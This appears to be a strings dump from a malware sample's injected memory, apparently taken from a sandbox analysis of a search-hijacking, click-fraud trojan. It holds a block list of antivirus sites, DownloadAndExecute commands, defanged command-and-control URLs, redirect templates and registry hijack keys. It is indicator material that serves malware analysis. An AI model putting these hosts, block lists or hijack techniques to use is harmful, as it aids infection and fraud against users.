viabcp.com

virscan.org

virscan.org

virusbuster.hu

virusbuster.hu

viruslist.com

viruslist.com

viruslist.ru

viruslist.ru

virusscan.jotti.org

virusscan.jotti.org

virustotal.com

virustotal.com

windowsupdate.microsoft.com

windowsupdate.microsoft.com

VVV.ahnlab.com

VVV.ahnlab.com

VVV.aladdin.com

VVV.aladdin.com

VVV.antivir.es

VVV.antivir.es

VVV.antiy.net

VVV.antiy.net

VVV.authentium.com

VVV.authentium.com

VVV.avast.com

VVV.avast.com

VVV.avg.com

VVV.avg.com

VVV.avp.com

VVV.avp.com

VVV.avp.ru

VVV.avp.ru

VVV.avp.ru/download/

VVV.avp.ru/download/

VVV.bitdefender.com

VVV.bitdefender.com

VVV.clamav.net

VVV.clamav.net

VVV.comodo.com

VVV.comodo.com

VVV.download.mcafee.com

VVV.download.mcafee.com

VVV.drweb.com

VVV.drweb.com

VVV.emsisoft.com

VVV.emsisoft.com

VVV.eset.com

VVV.eset.com

VVV.eset.com/

VVV.eset.com/

VVV.eset.com/download/index.php

VVV.eset.com/download/index.php

VVV.eset.com/joomla/

VVV.eset.com/joomla/

VVV.eset.com/products/index.php

VVV.eset.com/products/index.php

VVV.fortinet.com

VVV.fortinet.com

VVV.f-prot.com

VVV.f-prot.com

VVV.f-secure.com

VVV.f-secure.com

VVV.gdata.es

VVV.gdata.es

VVV.grisoft.com

VVV.grisoft.com

VVV.ikarus.at

VVV.ikarus.at

VVV.kaspersky.com

VVV.kaspersky.com

VVV.kaspersky.ru

VVV.kaspersky.ru

VVV.kaspersky-labs.com

VVV.kaspersky-labs.com

VVV.macafee.com

VVV.macafee.com

VVV.mcafee.com

VVV.mcafee.com

VVV.microsoft.com

VVV.microsoft.com

VVV.my-etrust.com

VVV.my-etrust.com

VVV.networkassociates.com

VVV.networkassociates.com

VVV.nod32.com

VVV.nod32.com

VVV.norman.com

VVV.norman.com

VVV.norton.com

VVV.norton.com

VVV.nprotect.com

VVV.nprotect.com

VVV.pandasecurity.com

VVV.pandasecurity.com

VVV.pandasoftware.com

VVV.pandasoftware.com

VVV.pctools.com

VVV.pctools.com

VVV.rising-global.com

VVV.rising-global.com

VVV.scanner.novirusthanks.org

VVV.scanner.novirusthanks.org

VVV.sophos.com

VVV.sophos.com

VVV.sunbeltsoftware.com

VVV.sunbeltsoftware.com

VVV.symantec.com

VVV.symantec.com

VVV.symantec.com/updates

VVV.symantec.com/updates

VVV.trendmicro.com

VVV.trendmicro.com

VVV.virscan.org

VVV.virscan.org

VVV.viruslist.com

VVV.viruslist.com

VVV.viruslist.ru

VVV.viruslist.ru

VVV.virusscan.jotti.org

VVV.virusscan.jotti.org

VVV.virustotal.com

VVV.virustotal.com

VVV.windowsupdate.microsoft.com

VVV.windowsupdate.microsoft.com

127.0.0.1

127.0.0.1

8.datu

8.datu

4B4F4K4^4t4z4

4B4F4K4^4t4z4

2$2-23292?2

2$2-23292?2

'&%$#"! /.-, *)(76543210?>=

'&%$#"! /.-, *)(76543210?>=

ˆD?

ˆD?

.text

.text

`.rdata

`.rdata

@.data

@.data

.reloc

.reloc

kernel32.dll

kernel32.dll

dll.dll

dll.dll

%System%\dll

%System%\dll

fchrome.exe

fchrome.exe

lb.dll

lb.dll

mgoogle.com

mgoogle.com

Explorer.EXE_884_rwx_01F00000_00001000:

.text

.text

`.data

`.data

.reloc

.reloc

svchost.exe_1144_rwx_01BB0000_00012000:

t.FE;l$

t.FE;l$

winmm.dll

winmm.dll

ole32.dll

ole32.dll

maxhttpredirects

maxhttpredirects

software\microsoft\windows\currentversion\internet settings

software\microsoft\windows\currentversion\internet settings

enablehttp1_1

enablehttp1_1

software\microsoft\windows\currentversion\internet settings\zones\3

software\microsoft\windows\currentversion\internet settings\zones\3

%s\%s

%s\%s

hXXp://%s/?xurl=%s&xref=%s

hXXp://%s/?xurl=%s&xref=%s

clk=%s&bid=%s&aid=%s&sid=%s&rd=%s

clk=%s&bid=%s&aid=%s&sid=%s&rd=%s

atl.dll

atl.dll

oleaut32.dll

oleaut32.dll

n%D,3

n%D,3

Global\3006345f-6baf-4669-a7e1-aaa310564be9

Global\3006345f-6baf-4669-a7e1-aaa310564be9

kdmf.tmp

kdmf.tmp

%d|%d|%s|%s

%d|%d|%s|%s

Mozilla/4.0 (compatible; MSIE 1.0; Windows NT; CMD3)

Mozilla/4.0 (compatible; MSIE 1.0; Windows NT; CMD3)

DownloadAndExecute

DownloadAndExecute

DownloadCryptedAndExecute

DownloadCryptedAndExecute

DownloadCryptedAndExecute2

DownloadCryptedAndExecute2

%[^.].%[^(](%[^)])

%[^.].%[^(](%[^)])

command|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s

command|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s

setup.exe

setup.exe

google;yahoo;bing.;live.com;msn.com;altavista.com;ask.com;exalead.com;excite.com;dogpile.com;metacrawler.com;webcrawler.com;alltheweb.com;.lycos.;gigablast.com;cuil.com;.aol.;entireweb.com;.search.com;mamma.com;mytalkingbuddy.com;about.com;myspace.com;answers.com;conduit.com;alexa.com;alltheinternet.com;blinkx.com;macromedia.com;adobe.com;amazon.com;facebook.com;youtube.com;wikipedia.org;wikimedia.org;twitter.com;aolcdn.com;othersonline.com;everesttech.net;adrevolver.com;tribalfusion.com;adbureau.net;abmr.net;gstatic.com;virtualearth.net;atdmt.com;ivwbox.;powerset.net;yimg.com;2mdn.net;doubleclick.net;iwon.com;scorecardresearch.com;66.235.120.66;66.235.120.67;ytimg.com;infospace.com;edgesuite.net;superpages.com;lygo.com;compete.com;firmserve.com;worthathousandwords.com;yieldmanager.com;wazizu.com;meedea.com;atwola.com;doubleverify.com;tacoda.net;truveo.com;openx.org;adcertising.com;twimg.com;picsearch.com;oneriot.com;.com.com;flickr.com;searchvideo.com;.tqn.com;myspacecdn.com;fimservecdn.com;alexametrics.com

google;yahoo;bing.;live.com;msn.com;altavista.com;ask.com;exalead.com;excite.com;dogpile.com;metacrawler.com;webcrawler.com;alltheweb.com;.lycos.;gigablast.com;cuil.com;.aol.;entireweb.com;.search.com;mamma.com;mytalkingbuddy.com;about.com;myspace.com;answers.com;conduit.com;alexa.com;alltheinternet.com;blinkx.com;macromedia.com;adobe.com;amazon.com;facebook.com;youtube.com;wikipedia.org;wikimedia.org;twitter.com;aolcdn.com;othersonline.com;everesttech.net;adrevolver.com;tribalfusion.com;adbureau.net;abmr.net;gstatic.com;virtualearth.net;atdmt.com;ivwbox.;powerset.net;yimg.com;2mdn.net;doubleclick.net;iwon.com;scorecardresearch.com;66.235.120.66;66.235.120.67;ytimg.com;infospace.com;edgesuite.net;superpages.com;lygo.com;compete.com;firmserve.com;worthathousandwords.com;yieldmanager.com;wazizu.com;meedea.com;atwola.com;doubleverify.com;tacoda.net;truveo.com;openx.org;adcertising.com;twimg.com;picsearch.com;oneriot.com;.com.com;flickr.com;searchvideo.com;.tqn.com;myspacecdn.com;fimservecdn.com;alexametrics.com

HTTP/1.1 302 Found

HTTP/1.1 302 Found

Location: %s

Location: %s

HTTP/1.1 200 OK

HTTP/1.1 200 OK

Content-Length: %d

Content-Length: %d

hXXps://68b6b6b6.com/;hXXps://61.61.20.132/;hXXps://34jh7alm94.asia/;hXXps://61.61.20.135/;hXXps://nyewrika.in/;hXXps://rukkieanno.in/

hXXps://68b6b6b6.com/;hXXps://61.61.20.132/;hXXps://34jh7alm94.asia/;hXXps://61.61.20.135/;hXXps://nyewrika.in/;hXXps://rukkieanno.in/

hXXp://rudolfdisney.com/;hXXp://crozybanner.com/;hXXp://imagemonstar.com/;hXXp://funimgpixson.com/;hXXp://bunnylandisney.com/

hXXp://rudolfdisney.com/;hXXp://crozybanner.com/;hXXp://imagemonstar.com/;hXXp://funimgpixson.com/;hXXp://bunnylandisney.com/

hXXp://cri71ki813ck.com/

hXXp://cri71ki813ck.com/

hXXp://lkckclckl1i1i.com/

hXXp://lkckclckl1i1i.com/

cfg.ini

cfg.ini

urlmon.dll

urlmon.dll

bckfg.tmp

bckfg.tmp

svchost.exe

svchost.exe

Global\9e6af8f3-75f3-4b67-877a-c80125d7bc08

Global\9e6af8f3-75f3-4b67-877a-c80125d7bc08

*firefox*

*firefox*

*chrome*

*chrome*

*opera*

*opera*

Global\a68d7de8-eba6-4a54-90e0-9cb9d93b3ed7

Global\a68d7de8-eba6-4a54-90e0-9cb9d93b3ed7

Global\cc51461b-e32a-4883-8e97-e0706dc65415

Global\cc51461b-e32a-4883-8e97-e0706dc65415

keywords

keywords

Accept-Language: %s

Accept-Language: %s

%s hXXp://%s/?xurl=%s&xref=%s

%s hXXp://%s/?xurl=%s&xref=%s

%s %s

%s %s

1.6|%s|%s|%s|%s|%s|%s

1.6|%s|%s|%s|%s|%s|%s

0123456789

0123456789

software\classes\http\shell\open\command

software\classes\http\shell\open\command

firefox

firefox

:"/\|?*

:"/\|?*

%s-%s

%s-%s

. d SP.%s

. d SP.%s

%s.dll

%s.dll

kernel32.dll

kernel32.dll

.text

.text

.rdata

.rdata

Global\452fefe0-a06e-400f-8d6b-6a12a0a09d4b

Global\452fefe0-a06e-400f-8d6b-6a12a0a09d4b

VVV.google.

VVV.google.

/webhp

/webhp

search.yahoo.com

search.yahoo.com

.altavista.com

.altavista.com

/web/results

/web/results

.ask.com

.ask.com

VVV.exalead.com

VVV.exalead.com

/search/web/results

/search/web/results

VVV.alltheweb.com

VVV.alltheweb.com

search.lycos.

search.lycos.

tab=web

tab=web

gigablast.com

gigablast.com

cuil.com

cuil.com

.aol.

.aol.

entireweb.com

entireweb.com

md=web

md=web

VVV.search.com

VVV.search.com

VVV.mamma.com

VVV.mamma.com

mytalkingbuddy.com

mytalkingbuddy.com

searchservice.myspace.com

searchservice.myspace.com

type=web

type=web

search.conduit.com

search.conduit.com

search.toolbars.alexa.com

search.toolbars.alexa.com

alltheinternet.com

alltheinternet.com

/ws/results/web/

/ws/results/web/

%u|%u

%u|%u

ver=%s&bid=%s&aid=%s&sid=%s&rd=%s&eng=%s&q=%s

ver=%s&bid=%s&aid=%s&sid=%s&rd=%s&eng=%s&q=%s

hXXp://%s%s

hXXp://%s%s

?xurl=

?xurl=

http/1.

http/1.

mozilla

mozilla

windowsupdate

windowsupdate

\\?\globalroot\device\0000052f\6204f4a1\kdmf.tmp

\\?\globalroot\device\0000052f\6204f4a1\kdmf.tmp

%WinDir%\System32\svchost.exe

%WinDir%\System32\svchost.exe

448539723

448539723

\\?\globalroot\device\0000052f\6204f4a1

\\?\globalroot\device\0000052f\6204f4a1

cmd.dll

cmd.dll

\\?\globalroot\device\0000052f\6204f4a1\keywords

\\?\globalroot\device\0000052f\6204f4a1\keywords

\\?\globalroot\device\0000052f\6204f4a1\cfg.ini

\\?\globalroot\device\0000052f\6204f4a1\cfg.ini

WinExec

WinExec

SHEnumKeyExA

SHEnumKeyExA

FindFirstUrlCacheEntryW

FindFirstUrlCacheEntryW

UnlockUrlCacheEntryFileW

UnlockUrlCacheEntryFileW

DeleteUrlCacheEntryW

DeleteUrlCacheEntryW

FindNextUrlCacheEntryW

FindNextUrlCacheEntryW

InternetCrackUrlA

InternetCrackUrlA

HttpOpenRequestA

HttpOpenRequestA

HttpSendRequestA

HttpSendRequestA

HttpQueryInfoW

HttpQueryInfoW

FindCloseUrlCache

FindCloseUrlCache

`.rdata

`.rdata

@.data

@.data

.reloc

.reloc

KERNEL32.DLL

KERNEL32.DLL

ADVAPI32.dll

ADVAPI32.dll

imagehlp.dll

imagehlp.dll

ntdll.dll

ntdll.dll

SHLWAPI.dll

SHLWAPI.dll

USER32.dll

USER32.dll

WININET.dll

WININET.dll

WebBrowser

WebBrowser

%s-%d

%s-%d

eplorer\iexplore.exe" -nohome

eplorer\iexplore.exe" -nohome

spoolsv.exe_1468_rwx_00AF0000_0000E000:

HTTP/1.1

HTTP/1.1

Software\Microsoft\Windows\CurrentVersion\Explorer\LowRegistry

Software\Microsoft\Windows\CurrentVersion\Explorer\LowRegistry

SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore

SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore

\user32.dll

\user32.dll

b.dll

b.dll

spoolsv.exe

spoolsv.exe

/message.php

/message.php

.co.cc

.co.cc

.cz.cc

.cz.cc

.info

.info

\updhlp.dat

\updhlp.dat

Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

19792079

19792079

1979207932

1979207932

[%subid]

[%subid]

[%key]

[%key]

google.com/

google.com/

**http://

**http://

search.yahoo.com

search.yahoo.com

bing.com

bing.com

\temp.ini

\temp.ini

\admin.txt

\admin.txt

.aspx

.aspx

iexplore.exe

iexplore.exe

&HTTP_REFERER=

&HTTP_REFERER=

\server.dat

\server.dat

\Windows

\Windows

\winhelp.exe

\winhelp.exe

sb_tlst">

sb_tlst">

19091979

19091979

HTTP/1.1 302 Moved Temporarily

HTTP/1.1 302 Moved Temporarily

HTTP/1.1 200 OK

HTTP/1.1 200 OK